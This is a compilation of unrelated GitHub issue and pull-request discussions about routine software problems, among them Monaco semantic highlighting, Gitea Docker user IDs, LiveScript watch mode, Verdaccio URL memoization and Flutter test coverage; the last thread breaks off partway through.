I meant semantic highlighting and the Langium Language Server provides that (see second screenshot ⬆). It was working with an older version of the whole lib stack (wrapper 1.6.1 | mlc 4.0.3 | api 1.69.13 | monaco 0.34.1, see https://github.com/TypeFox/monaco-components/issues/32)
Yes we had a hack changing the implementation of getTokenStyleMetadata
see https://github.com/microsoft/monaco-editor/issues/1833

Yes we had a hack changing the implementation of getTokenStyleMetadata
see https://github.com/microsoft/monaco-editor/issues/1833

@CGNonofr please help me to translate 🙂
This https://github.com/microsoft/monaco-editor/issues/1833#issuecomment-774156946 means that the support in monaco-editor is not complete (still two years later), meaning full support for semantic tokens is only available in vscode and therefore only if you use the textmate+theme service, correct?

My interpretation: Semantic tokens usually are provided by language servers and with pure monaco-editor this is not available => no priority to support this in monaco-editor.  Does that make sense?

What I understand is that it's not supported by the default monaco themes, you need to define a custom theme with additional rules.
But I think it's pretty similar to vscode (the Light and Dark theme don't support semantic tokens) except the default vscode themes (Dark+ and Light+) are based on those and add semantic token colors, so we just need to do the same with monarch themes? (see https://github.com/microsoft/vscode/blob/main/extensions/theme-defaults/themes/dark_plus.json)
Back then when we used the hack, monaco didn't support it at all (getTokenStyleMetadata was empty)

For some reasons, the standalone theme service declare not supporting semanticHighlighting (see https://github.com/microsoft/vscode/blob/bb389f28ea44f4a9fad87dbf8c5e0ad7874acc0c/src/vs/editor/standalone/browser/standaloneThemeService.ts#L180)
settings semanticHighlighting.enabled to configuredByTheme will use that flag and being disabled
you'll need to set semanticHighlighting.enabled to true
(Or hack StandaloneTheme to change its semanticHighlighting property to true)

you'll need to set semanticHighlighting.enabled to true

Tried that already, doesn't work. Can't we patch monaco-editor here to treat this properly? 😆

you'll need to set semanticHighlighting.enabled to true

will try this now

@CGNonofr When I change this.semanticHighlighting = true in StandaloneThemeService.js, then the LS does semantic token handling.
FYI, regarding vscode, the extra colors are defined only in the + and Modern themes, but the flag is set everywhere.
Question still is, why does this have no effect?
createConfiguredEditor(container!, {
    'semanticHighlighting.enabled': 'configuredByTheme'
});

Question still is, why does this have no effect?
createConfiguredEditor(<HTMLElement>, {
    'semanticHighlighting.enabled': true
});

The semanticHighlighting.enabled setting is not used by the editor itself. It need to be registered in the configuration service.
If you use the StandaloneConfigurationService, the extra configuration provided to the editor if registered in the configuration service.
If you used the configuration service override, it's not, and you need to either call updateUserConfiguration with it or call StandaloneServices.get(IConfigurationService).updateValue('editor.semanticHighlighting.enabled', true)

@CGNonofr 🎉 YES, using updateUserConfiguration works and it is logical, too in the end.
I use model service and config service always in the wrapper, because they are required under the hood.
Ok, I need to expand the wrapper configuration/handling to make this bullet-proof. Thank you very much. Layer 8 issue in the end once more. 😆

I can't blame it on you, it's very complicated ^^


Merge version1 into main

Merge version1 into main
Summary of Changes

Project Structure Updates

Changed the project structure for better organization.
Set up initial project configuration.
Created and updated style files and Vite configuration.
Added favicon and base styles.

Component Updates

Updated and styled header, footer, hero section, and various UI components.
Enhanced JobCard component with pagination.
Added CompanyCarousel, BlogHighlight, and ErrorPage components.

New Pages

Implemented new pages:

Contact Us: Basic contact information.
Privacy Policy: Details on data usage and protection.
FAQ: Collapsible dropdowns for common questions.
About Us: Company background and mission statement.

Job Details Enhancements

Added comprehensive job details page with:

Responsive design and icons for company, location, salary, and category.
Job description, qualifications, responsibilities, and must-have skills.
Apply Now link for direct applications.

Data and Dependencies

Renamed job data file from jobs.json to jobs.js.
Installed and integrated React Icons.
Added images and logos for companies.

UI Improvements

Updated styles for footer, header, hero section, and job listings.
Fixed various issues across multiple components including Hero, BlogHighlight, CompanyCarousel, JobDetails, JobListings, ErrorPage, Header, Footer, and JobCard.

These updates aim to improve overall usability, visual appeal, and functionality. The merge ensures that the latest features and bug fixes are reflected in the main branch.


Remove futures_core::stream::Stream from aws-smithy-async

Motivation and Context
Removes futures_core::stream::Stream from the aws-smithy-async crate.
Description
This PR is part of our ongoing effort, https://github.com/awslabs/smithy-rs/issues/2413. We remove the futures_core::stream::Stream trait from the public API in the aws-smithy-async crate. While doing so, we compensate

FnStream by providing the explicit .next and .collect methods to let the previously working code continue working.
TryFlatMap by making it return a new-type wrapper PaginationStream to hide FnStream from those who use paginators.

With this change, the latest canary no longer uses tokio_stream::StreamExt, since the paginator does not work in terms of the Stream trait. Furthermore, aws-sdk-rust has been more than 3 releases since release-2023-01-26, so the module release-2023-01-26 has been removed from canary-lambda.
Testing
No new tests added, but made sure the existing tests keep working with the change.
Checklist

[x] I have updated CHANGELOG.next.toml if I made changes to the smithy-rs codegen or runtime crates
[x] I have updated CHANGELOG.next.toml if I made changes to the AWS SDK, generated SDK code, or SDK runtime crates

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

I understand the impulse here, but removing futures::Stream implementation is almost akin to removing Iterator implementation.
What we have now is that paginators are a stripped down futures::Stream which has no combinators that it previously had. It means we have to write our own wrappers around every single AWS SDK paginator that maps it into a futures::Stream. That's bad user experience, and I think you overdid this


Switch rendering backend to WeasyPrint

This PR is tracking changes for the upcoming 0.2.0 release.
The main change is switching PDF rendering backend from xhtml2pdf (unmaintained) to WeasyPrint (actively maintained) for more accurate rendering and easier handling of linked resources like images.
Updated docs are at https://django-easy-pdf.readthedocs.io/en/develop/.

This branch is not yet available via pip install


Didn't work

resume.pdf
It gave a sample.pdf -Didn't work

Would you mind posting an anonymized version of the PDF or Word Document you used as an input? I suspect the standard tools were not able to extract any text from it but I want to confirm it. You are the first case where the LLM hallucinated the entire resume


[TASK] The _mapping.py and _process.py will be added to this repo

Describe the task
The _mapping.py and _process.py will be moved from clvm to ec2map because they only work with AWS.
And _common directory will be removed as it's a copy of common dir.

why is this needed here? ec2map was created to override the old mapping and to replace it in _process.py


Testing enhanced enums does not effect coverage report

Steps to reproduce
the enum
enum SignInAuthState {
  canLogin(1),
  mustSignUp(2),
  mustBeInvited(3);

  const SignInAuthState(this.id);

  final int id;
}

command
flutter test --coverage

Expected results
it should cover the enum
Actual results
the tests does not affect the coverage report
Code sample
Code sample
 inside `/test/enums_test.dart `
test(
    'SignInAuthState it return id based on fixed for the server',
    () {
      expect(SignInAuthState.canLogin.id, 1);
      expect(SignInAuthState.mustSignUp.id, 2);
      expect(SignInAuthState.mustBeInvited.id, 3);
    },
  );

Screenshots or Video
No response
Logs
No response
Flutter Doctor output
Doctor output

Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 3.7.11, on macOS 13.3.1 22E772610a darwin-arm64, locale en-EG)
[!] Android toolchain - develop for Android devices (Android SDK version 33.0.2)
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for more details.
[✓] Xcode - develop for iOS and macOS (Xcode 14.3)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2022.1)
[✓] VS Code (version 1.79.0)
[✓] Connected device (3 available)
[✓] HTTP Host Availability

! Doctor found issues in 1 category.

Hi @maxzod. By does not effect coverage report, do you mean all tests pass with no code coverage result?

@dam-ease exactly
the tests pass and if I edit them to fail they fail as intended
and in both cases, the coverage/lcov.info does not indicate that this file was used in the tests
other code appears to be covered just fine  the problem is to the  enhanced enums tests only

Hi @maxzod. So, I created a new flutter project using the latest stable version. Added the enhanced enums in your code sample to the main.dart file and added your tests as well.
From my log after running flutter test --coverage
00:01 +1: All tests passed!

In my coverage/lcov.info, I have:
SF:lib/main.dart
DA:6,0
DA:7,0
DA:21,1
DA:23,0
DA:25,0
DA:26,0
DA:27,0
DA:28,0
DA:31,0
DA:33,0
DA:36,0
DA:37,0
DA:38,0
DA:39,0
DA:40,0
LF:15
LH:1
end_of_record

Is this your expected behaviour, if yes, you might need to update to the latest stable channel to confirm this.

Thanks. Closing this as it seems to be an issue with previous versions and not on the latest.


Docker /app/gitea/gitea web runs as wrong user

why does /app/gitea/gitea web run as a different user instead of git?
Default docker configuration, no changes have been made.
docker top ed60eb5133ed
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
root                2914                2896                0                   17:53               ?                   00:00:00            /bin/s6-svscan /etc/s6
root                2947                2914                0                   17:53               ?                   00:00:00            s6-supervise gitea
root                2948                2914                0                   17:53               ?                   00:00:00            s6-supervise openssh
root                2949                2914                0                   17:53               ?                   00:00:00            s6-supervise syslogd
root                2950                2948                0                   17:53               ?                   00:00:00            /usr/sbin/sshd -D
karel               2951                2947                0                   17:53               ?                   00:00:00            /app/gitea/gitea web
root                2952                2949                0                   17:53               ?                   00:00:00            /sbin/syslogd -nS -O-

It run as git inside the docker that is git:x:1000:1000:Linux User,,,:/data/git:/bin/bash on the host the uid 1000 would map (generally) to the first user created.
To confirm you can do docker exec -ti 1d2ddef5d765 ps -ef | grep gitea
We could provide method to link the uid/git of git user inside the docker as the git user of the host at container start-up via ENV. This would need change to the start-up script.
The most simple way to do that could be to drop root privilege and run as a normal user. The docker run command provide arg ot map this normal user to host uid/git.
For reference/example, a used gitlab docker image choose to not do it : https://github.com/sameersbn/docker-gitlab/issues/101 other build there own image of gogs with uid/gid of there host  : https://gist.github.com/nrk/64e6d2fa17397204c5b232214c7fbd51
It's not  really an issue but we could improve the method.

Just stumbled upon this problem myself and it took me a while to troubleshoot (admitting I'm a Docker and Gitea rookie).  However, I did figure out how to tweak master:docker/usr/bin/entrypoint as follows:
index a450d20..b374c5a 100755
--- a/docker/usr/bin/entrypoint
+++ b/docker/usr/bin/entrypoint
@@ -1,5 +1,16 @@
 #!/bin/sh

+## Change GID for USER?
+if [ -n "${USER_GID}" ] && [ "${USER_GID}" != "`id -g ${USER}`" ]; then
+    sed -i -e "s/^${USER}:\([^:]*\):[0-9]*/${USER}:\1:${USER_GID}/" /etc/group
+    sed -i -e "s/^${USER}:\([^:]*\):\([0-9]*\):[0-9]*/${USER}:\1:\2:${USER_GID}/" /etc/passwd
+fi
+
+## Change UID for USER?
+if [ -n "${USER_UID}" ] && [ "${USER_UID}" != "`id -u ${USER}`" ]; then
+    sed -i -e "s/^${USER}:\([^:]*\):[0-9]*:\([0-9]*\)/${USER}:\1:${USER_UID}:\2/" /etc/passwd
+fi
+
 for FOLDER in /data/gitea/conf /data/gitea/log /data/git /data/ssh; do
     mkdir -p ${FOLDER}
 done

After rebuilding:
$ make docker

I can launch Gitea with user git having any UID/GID of choice, e.g.
$ cid=$(docker run -d --name=gitea -p 10022:22 -p 10080:3000 -v /var/lib/gitea/data:/data -e USER_UID=1001 -e USER_GID=1002 gitea/gitea:latest); echo $cid
06fd8a8c95e6c659c2174819bafffa5e402b2e32f3385b58b221ba7191daad45
$ docker exec -i -t $cid id git
uid=1001(git) gid=1002(git) groups=1002(git),1002(git)
$ ls -ln /var/lib/gitea/data
total 12
drwxr-xr-x 3 1001 1002 4096 Oct 26 21:42 git
drwxr-xr-x 4 1001 1002 4096 Oct 26 21:42 gitea
drwx------ 2    0    0 4096 Oct 26 21:42 ssh

From @sapk's comment, I'm not sure whether this is something Gitea should support or not, but if so, I'm happy to submit a PR.
PS. I'm fairly new to Gitea and the Gitea community; sorry if I'm missing something obvious.

@HenrikBengtsson that a good solution that is use by other containers. In our case the best solution is to drop root privileges that are needed to start ssh server and use option -u of docker run.
In the meantime your solution is good and is a improvement. If you want make a PR.

Thanks for the clarification - I think I understand.  In the meanwhile, PR #2791 sent.


CLI --watch option should kill previous process to be useful for long running scripts

The --watch switch in CLI is intended for progressive script compilation and works well for that case. This feature is very useful while developing a long-running server side script as well.
However, it behaves unexpected when executing a long-running script, like with lsc -w myscript.ls. That starts just another instance before killing previous instance.
Expected
lsc -w should kill previous instance (if exists) and then start the new process.
Test case
sleep = (ms, f) -> set-timeout f, ms

i = 0
console.log "script started."
<~ :lo(op) ~>
    console.log "Hello #{i++}"
    <~ sleep 1000ms
    if i > 10
        return op!
    lo(op)
console.log "script ended."

Output is:
$ lsc -w test.ls
script started.
Hello 0
Hello 1
Hello 2
script started. <--- Here the file is saved again
Hello 0
Hello 3
Hello 1
Hello 4
Hello 2
Hello 5
Hello 3
Hello 6
Hello 4
Hello 7
Hello 5
Hello 8
Hello 6
Hello 9
Hello 7
Hello 10
Hello 8
script ended.
Hello 9
Hello 10
script ended.

FYI, there's no child process involved. lsc evaluates your code in its own process. If you want this behavior, you can modify your own script to cancel any scheduled work whenever the top level runs again, as long as you store the necessary IDs or callbacks on the global object and not just in a variable.

If you want this behavior,

FYI: Currently I'm starting LiveScript files via the following Bash script:
#!/bin/bash

watch=
if [[ "$1" = "-w" ]]; then
    echo "Watch mode enabled."
    watch=true
    shift
fi

lsFile="$1"
shift

if [[ -z $watch ]]; then
    lsc $lsFile "$@"
else
    LTIME=
    CMD_PID=

    cleanup(){
        [[ -n $CMD_PID ]] && kill $CMD_PID
    }
    trap cleanup EXIT

    while :; do
       ATIME=`stat -c %Z "$lsFile"`
       if [[ "$ATIME" != "$LTIME" ]]; then
            if [[ -n $CMD_PID ]]; then
                echo "---------------------------------------"
                echo "|             Restarting...           |"
                echo "---------------------------------------"
                kill $CMD_PID
            fi
            lsc $lsFile "$@" &
            CMD_PID=$!
            LTIME=$ATIME
       fi
       sleep 2
    done
fi

Which:

Starts a LiveScript process in the background
Periodically checks if the source file is changed
When source script is changed, it kills the previous process and starts another one.

@ceremcem watch processes are quite complicated, unfortunately.
My humble advice to use https://github.com/remy/nodemon.

When source script is changed, kills the previous process and starts another one.

Even nodemon struggles here, so something like livescript would definitely not be expected to handle the issue.
The only lib that fixes many of the cross-platform problem here is https://github.com/paulmillr/chokidar.
but you still have to manually tweak the options for different OS and hardware.
Good Luck !


When on K8s, use service address to connet

Today when I'm trying to connect to Attu, I'm using an IP address and port.
that's not a very good solution when it comes to a milvus cluster running on K8s, especially when using the milvus operator and not the helm charts.
I'm not able to connect to milvus when running a cluster using the IP address ( I tried the proxy service's IP adress).
anyways, I think that using the service address should be supported:
if I have a service address like:
milvus.default.svc.cluster.local:19530

there's no reason using it in my micro services (using milvus python sdk) will work, but not with attu.

@Bennu-Li  any idea?

I'm using Attu v2.1.0 and this works for me.
@yovelcohen milvus.default.svc.cluster.local points to the default namespace, are you sure you installed Milvus in that namespace?

It's indeed working with 2.1, before an explicit IP must have been provided.

@yovelcohen
Sorry forgot to tip here. Yes, we don't need an explicit IP  in attu:v2.1.0.


[workaround] Disable remove_layout_conversion_pass to enable FA v2

This PR disables the first remove_layout_conversion_pass, since it causes the FA v2 to hang with BLOCK_N=32.
TODO:
Figure out the reason why this pass hangs with BLOCK_N=32 for FA v2.

Hmm, I don't think we should actually merge this. I provided this so we can experiment with FA. I should soon be able to pin point the exact problem so we can have a proper fix.

Maybe add some option to disable this pass for FA v2 workloads instead of entirely comment it out?
I also believe upstream is working on something, that looks like this (which also involves some layout conversion issues): https://github.com/openai/triton/issues/1567

@oplavsic @binarman It makes sense to hold on merging this PR until the issue is resolved.

Can any of you put a blocker on this PR?


GeneratorCollection::count

Can't you use
int iterator_count ( Traversable $iterator )

http://php.net/manual/en/function.iterator-count.php
?

probably, its an early draft implementation hacked together in a few hours, did not dig too deep into the generator topic yet.


Ci test jit transfer metal (blitCommandEncoder)

Follow up on #6793

It seems like the test never fails on the CI's Mac environment. See the run where I reverted the  #6793 patch, in commit b0a58add128171dae3611ba88e4cab9bb026666a
but running on a real device does fail (the test_jitted_transfer is set up to run on a real device already)
This might just be one of the instances where mac's github runner differs from a real device. I raised another issue on their project with regards to newBufferWithBytesNoCopy:length:options:deallocator:
kind of stuck, not sure how to catch this in CI


refactor: pallet improvements and xyk pallet

Description
Amm pallet refactor to remove HDX references and use of native asset instead.
Added XYK pallet - basically amm pallet renamed and amm pallet will be eventually replaced by this new xyk pallet ( first it needs few clarifications) and amm deprecated.
Few other minor code improvements as well.
Motivation and Context
Some pallets are used in basilisk node too where there is other than HDX asset as native currency. So it would make sense to remove hdx references from the code to be more generic.
How Has This Been Tested?
Tests.

Let's remove amm

Let's remove amm

ready. Should I test it in some specific way? obviously it is ok when starting a new chain.

@enthusiastmartin LGTM


[QoL Features] Free movement while zoomed + hold-crouch option

I'm loving the port so far!
Please consider adding an option to allow for continued free movement instead of L/R peeking while zoomed.
A new hold-to-crouch option would also be very welcome.
*also really looking forward to a uncapped frame rate option in the future. 🙏
Keep up the amazing work!

I'm loving the port so far!
Please consider adding an option to allow for continued free movement instead of L/R peeking while zoomed.
A new hold-to-crouch option would also be very welcome.
*also really looking forward to a uncapped frame rate option in the future. 🙏
Keep up the amazing work!

I'd argue that free walk when aiming should half-crouch you if implemented at all.


Mas 3.0 dialyzer1

Merge in dialyzer fixes for riak_core

@ThomasArts for your review please, to complement riak_kv dialyzer merge


Added jsx fragment support for JavaScript syntax

This pull request adds jsx support for jsx fragments in JavaScript.
render() {
  return (
    <>

Check!

    </>
  )
}

It had a bug. I'm fixing it first.


DOCS: Hide the sidebar (left) and secondary sidebar (right) on the index

🚀 Pull Request
DO NOT MERGE YET
Description

Hide the sidebar (left) and secondary sidebar (right) on the index.  This gives the index (homepage) more space to render.
Before
After

Consult Iris pull request check list

Add any of the below labels to trigger actions on this PR:

https://github.com/SciTools/iris/labels/benchmark_this

This causes issues with the layout (top menu squashed, no search bar on the page).
Lets not do this change for now.

This causes issues with the layout (top menu squashed, no search bar on the page).
Lets not do this change for now.

From my experience with ncdata, this can also cause a problem whereby any page without a main (left-hand) sidebar will not display the ReadTheDocs version switcher.
Unless you also found a cunning fix for that ?

You can use the pydata theme switcher instead https://pydata-sphinx-theme.readthedocs.io/en/stable/user_guide/version-dropdown.html.  But this is more overhead, ReadTheDocs does this for you which is preferred imho.


risc-v/mpfs: i2c: perform sanity checks

Replace risky DEBUGASSERT()s with real sanity checks. Also, do a few more checks as the system might occasionally fire an interrupt shortly after a warm reboot.
Yet, modify i2c_transfer() function so that up_disable_irq() is always called at the end to better prevent ill-timed irqs.
Summary
Prevent irqs after a warm boot
Impact
Testing
Saluki-v2 / AMP mode

Did you catch where the interrupt actually fires?

Did you catch where the interrupt actually fires?

No (or actually there was a similar bug which I tried to reproduce with no success)

Should I test this patch and try to reproduce the issue ?

Should I test this patch and try to reproduce the issue ? It can easily be seen in kernel mode due to the illegal access trap.

That would be more than welcome, thanks!


Add kube version and os version info in the output file

Issue #, if available:
From EKSA version - 0.18, template specified in the spec is expected to contain the corresponding K8s version as a pre-flight validation. For a smooth transition, this change patches the image-builder to add Kube version and the os release information in the output file.
Description of changes:
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/lgtm
/approve


Version for Swift 2.3?

Which version to use for Swift 2.3? I get errors on the latest version, as well as 0.9.3.

This pod was a recent development and was intended for future use. As Apple is forcing a language switch from 2.3 to 3.0+ in newer releases, it wouldn't be a good investment to go back and support it at this time. Sorry about this.


Update add-additional-profile-fields-for-user-information.md

@v-sambati : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Docs Build status updates of commit 1c95129:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

microsoft-community-training/settings/add-additional-profile-fields-for-user-information.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Commercial support available?

Does the Dev team offer any paid support? I lost my entire weekend trying to make Postal work so I rather pay somebody to explain me what I'm doing wrong than loosing 2-3 more days "digging".

Please email<EMAIL_ADDRESS>with as much information as possible and we'll see what we can do to help. We don't have arrangements for official support contracts yet, but we should be able to help on an ad-hoc basis :slightly_smiling_face:


memo request problem

https://github.com/verdaccio/verdaccio/blob/b79266d54e7310ed879e80e0beda95ebbeb2470c/src/api/web/html/renderHTML.ts#L81-L98
if add cache like this way(L81 and L97),it could be memo renderTemplate and it's contain url with protocol
https://github.com/verdaccio/verdaccio/blob/b79266d54e7310ed879e80e0beda95ebbeb2470c/src/api/web/html/template.ts#L46
if some guys visit via http first,and following is visit via https, it will throw CSP(in https html contain http resource) in second one's browser.
and in here same behavior
https://github.com/verdaccio/verdaccio/blob/34b7394bcfee25443029c9e62812e7e575e0dd35/src/lib/utils.ts#L157-L159
the getPublicUrl is:
https://github.com/verdaccio/verdaccio/blob/34b7394bcfee25443029c9e62812e7e575e0dd35/src/lib/utils.ts#L644-L662
in this function it will generate a url with protocol(L655,L656) and it's also contain previous problem, memoizee only compare first argument to return cache or do memo,it's always return one result.
==============
related
https://github.com/verdaccio/verdaccio/issues/2868

Now, back to your issue, we have a demo side also running in Nginx https://registry.verdaccio.org/ and I cannot reproduce what you are reporting.

beacuse in this neginx config,it's have rewrite rule to force http rewrite to https,so it's will never happen by nginx,but if nginx support http and https visit,it will show the strange behavior
https://github.com/verdaccio/verdaccio/issues/2374

I just encountered a similar problem.
I'm creating 2 instances of verdaccio with different ports, both running in the same process.
When requesting package metadata, the tarball urls of the second instance are being rewritten with the host of the first instance, due to the memoization.
I can work around it by running in separate processes, although if this gets fixed/changed I won't have to :)

I just encountered a similar problem. I'm creating 2 instances of verdaccio with different ports, both running in the same process. When requesting package metadata, the tarball urls of the second instance are being rewritten with the host of the first instance, due to the memoization. I can work around it by running in separate processes, although if this gets fixed/changed I won't have to :)

you can modify node_modules/verdacio/build/lib/utils.js remove const memoizedgetPublicUrl = _default.memoizee(getPublicUrl); to const memoizedgetPublicUrl = getPublicUrl; to fix in local
this fix need check every npm install,it's works for me.


Previews for drawio files show up outdated and inaccurate

Preflight Checklist

[x] I agree to follow the Code of Conduct that this project adheres to.
[x] I have searched the issue tracker for a feature request that matches the one I want to file, without success.

Describe the bug
When viewing a drawio document via the Google Drive UI, the documents that show a preview sometimes show a preview that is outdated. When opening the same document via the diagrams.net UI the most up to date version loads; however, when comparing the document that loads on the diagram.net UI to the previews on the Google Drive UI, there are inconsistencies. This is a substantial issue as we ask users to train on diagram documents and the users may only reference the preview instead of the document on the diagrams.net UI. This could mean they're being trained on outdated processes.
By "preview" above I mean the thumbnail of the document on the Google Drive UI AND when you double click the document and see a blown up version of that preview (but still on the Google Drive UI). When you double click and see the blown up version of that preview, at the top there is an option to open that file via another application, when clicking the "Open with diagrams.net" you're redirected to diagrams.net where you see the most accurate version.
Another thing to note is after an arbitrary amount of time the previews for the documents get updated and match the document in the diagrams.net UI
To Reproduce
Steps to reproduce the behavior:

Go to Google Drive > drawio document
Click (once) on drawio document > Notice thumbnail on the right side of Google Drive UI inside "details" (outdated at times)
Click (twice) on drawio document > Notice blown up preview of document (also outdated at times, esp. if above is true)
Click the "Open with driagrams.net" on the top (after double clicking document)
Compare document from Step 5 with Step 4 and/or Step 3

Expected behavior
The documents should match, but sometimes do not. As mentioned above, after some time has passed the document previews are up to date.
Screenshots
If applicable, add screenshots to help explain your problem.
draw.io version (In the Help->About menu of the draw.io editor):

draw.io version 15.9.1

Desktop (please complete the following information):

OS: MacOS Big Sur 11.3.1
Browser chrome and safari

Smartphone (please complete the following information):

N/A

Additional context
Add any other context about the problem here.

Details related to user's question here: https://github.com/jgraph/drawio/issues/1758

We don't have any current ideas on how to solve this issue.


Made testing conditional in Cmake

Looking at the github checks, it now seems the default is to not run tests for cmake .... Could this be changed, or could the logic be inverted to opt-out? @jveijck

Default situation should be running test-cases. (Skip test-case only on request)


Replaced helper function sign().

Replaced helper function sign().
I saw three (minor) problems with it:

it has a bit of an odd (and undocumented) return type/value.
it is basically a inferior version of std::signbit().
it was only used in one location to check if two values have the same sign.

So I replaced it with a function that does exactly that with a descriptive name and an intuitive return type/value.

I wouldn't just remove the old sign function. There are a lot of places where it could be used.
If you grep for sign you see a lot of these constructions
copysign(1.0, somevalue)

Which could be replaced by
sign(somevalue)

While I think refactoring those copysign() calls is a great idea, I don't think we should keep the function because we might need it in the future.
We know it existed (we can refer to it in an issue to request the refactor) so we can retrieve it when we want to use it again. But for now, it is dead code.


Add new device (hanyi.airpurifier.kj550)

Could you consider add this device?
Exact model name is "MiWhole Air Purifier Mix".
currently the on/off switch is working, but can't connect with humidity and temperature.
(fan level is not working also).

Yes, it should be possible! Will check it out!

Support is now added as of version 0.9.10!

Support is now added as of version 0.9.10!

It does works well! Thank you 👍
Have a nice day!


[Ruby] Update rubocop dependency

In the generated gemspec, the "rubocop" development_dependency needs to be updated to the latest version. As of this writing, that is 0.59.2

Now, 0.60.0.


Feature Request - Message Level TTL for Retained MQTT Message

We're now using the Global Level configuration retainer.expiry_interval to configure the TTL of a retained message.
But does EMQ support something like Message Level configuration about that? I want to configure TTL per message.

This feature is included in MQTT 5.0 and has been implemented in EMQ X 3.0-beta.2.


Add automatic translation for the and keyword to Japanese

When using <<a;and!b>> syntax with the document attribute set to Japanese (:language: ja), the word and is not translated.
The original (left) and the generated (right):

This works properly for French, Russian and Chinese.

In fact, I've already fixed this as part of the Presentation XML refactoring I've been doing, and it will be included in this Monday's release:
binary_and: "%1 <conn>および</conn> %2"

If that isn't the Japanese for "and", someone will need to tell me.

For this particular instance, it would be better to encode the two references separately because I think there can be multiple ways of specifying “and” in Japanese.

@opoudjis as you can see, the words for “and” is different from what you have encoded.

It would probably be wise to allow the user/flavor to update those connectives in attributes.

It would probably be wise to allow the user/flavor to update those connectives in attributes.

I reject the notion that the word for "and" in Japanese is going to vary from one document to the next, and that it is any business of the user or flavour to specify a different word for "and" in JIS and in Plateau. It is embarrassing to even hear it suggested.
If the word for "and" is going to vary from one instance to the next, then very clearly, there should be no using of machine-generated "and" to begin with.
I make no apologies for the fact that I do not know Japanese, and am trying to extrapolate from Google Translate. If you want a different word, PROVIDE IT. And NOT IN A SCREENSHOT.
Further Google Translate manipulation shows that 及び and および are two different ways of writing oyobi, one with a Kanji, one all katakana. I have no idea why Google Translate went with the phonetic spelling, and it's not my concern to. I am switching to 及び, and closing this ticket.

Note that  we already have the ability to add an override internationalisation file to a document, which could include alternate text for "and". But varying the wording for "and" is a sign that something has gone catastrophically wrong.


fix(material-experimental/mdc-chips): prevent ripple from escaping chip

I'm merging this as it's already been submitted in google3. Will verify Safari after


Fix HOC reference link

The anchor was wrong and didn't work.

Can you sign the CLA? Thanks.

Ready.

Thanks. Please develop against master in the future. We are phasing develop out (faster deploys).


Too many identical tokens have been created.

Organization Name:

Short summary about the issue/question:
Too many identical tokens have been created.

Brief what process you are following:
After logging in multiple times, go to my profile page.

How to reproduce it:
After logging in multiple times, go to my profile page.

OpenPAI Environment:ubuntu 16.04

OpenPAI version:v1.3.0
Cloud provider or hardware configuration:
OS (e.g. from /etc/os-release):
Kernel (e.g. uname -a):
Hardware (e.g. core number, memory size, storage size, GPU type etc.):
Others:

Anything else we need to know:

I assume you log out and log in using the same browser? This is by design. The tokens will be recycled after a period of time.

I assume you log out and log in using the same browser? This is by design. The tokens will be removed after a period of time.

Okay, I get it, and sincerely thank you for your reply. Because we don't have a cluster administrator, I need to use the administrator account to manage the cluster and also use my own account to submit tasks. So I need to log in and log out multiple times, but this is just a small problem that does not affect normal use.


rv-each loses reference to parent view model

I've tried to make sure that this isn't a duplicate issue, although I could be wrong.
The docs state that within the rv-each-* element "you can bind to the iterated item as well as any contexts that are available in the parent view".
Unless I am doing something very wrong, this is not the case, as evidenced by this fiddle which attempts to use the rv-show binder within an rv-each-* element to reference a parent property. It is not just the rv-show binder – using the rv-text binder shows exactly the same behaviour. Referencing the parent property outside the rv-each-* element works as expected.
Thanks for any insight anyone can give!

More info I've just discovered: this error only happens if the parent property is a primitive and not an object. I've updated the respective fiddles here and here to show that everything works as expected when binding to an object on the parent model rather than a primitive value.
If this is the expected behaviour it should be documented.

@Leeds-eBooks You are correct, I don't think this is the expected behavior, in the last few weeks there have been at least 2 posts
This one, https://github.com/mikeric/rivets/issues/452 and this one, https://github.com/mikeric/rivets/issues/480
I think that would be grounds for some documentation, maybe we should say something like:
"Put it in an object ... or else!"
Kidding, too much coffee,  but seriously... How would you phrase it for the docs?

@Duder-onomy Sorry for the delay. Wouldn't it be better to change how the rv-each-* binder works so that it works the same as other binders? Would this be possible/do-able?

This is also a problem for me. I made a similar fiddle. It does seem like there must be a better way to implement the each binder.

This had me stumped for hours till i found this post, thanks.... yes only changes to parent properties filter through to 'each' loops... If i reference a parent value in an each loop, changes to the parent property are lost. It renders the initial value, but updates are lost. If you wrap the value in an object it works fine. Is anyone still maintaining rivets?

@smiffy6969 Good question, follow this issue -> #500
I would be happy to offer my services as a maintainer, were it not for the CoffeeScript.

I have had to fork a copy of this anyway, as i need to force a stop location for traversing. I am bundling this into my own web components library, I offer binding per component so I need to ensure no collisions with embedded components, in components (you get some funky results if you try to do this). So seeing as I needed this, I have tweaked the traversing a little, directly in the js (oh how i hate coffee script too). If i get time I may fork this and convert the js to something more readable and try to fix this issue, but time is not on my side at the mo. ;) thanks to author for a great tool!

I managed to fix this issue by changing how scope resolution works.  Fixes also #512
Here's the commit in my repo: https://github.com/blikblum/rivets/commit/7203c105c194d4d554c4f567c78c437dea8726eb
There are also other changes but should be easy to port. The relevant code is in sightglass and removing the copy of properties in each binder.

HIGHLY suggest to modify the event handler method.
      handler: function(context, ev, binding) {
		ev.$scope = binding.view.models;
        return this.call(context, ev, binding.view.models.$parent || binding.view.models);
      }


Form for "Stay Connected" block in footer

Is there a link / embed for this?

Link to Mailchimp newsletter sign up https://mailchi.mp/97886570610a/prereview-newsletter-signup.

@murkatr I just signed up using my gmail but receive no confirmation email. Can we set it up so that we get those confirmation emails where people have to actually confirm again to be added?

@dasaderi sign up link added on the dev site! http://prereview-dev.azurewebsites.net/


Market: Improvemnts in products browsing.

Update 'get_entries_by' service to allow to pass custom parameters.
For example, we need to retrieve products ordered by popularity but exclude hidden by 'status' and/or 'status_admin'.

Done here 97fd52c


Chunk missing?

What version of ViaVersion are you using? Type /ver viaversion
Latest commit on GitHub
What version of Spigot are you using? Type /ver
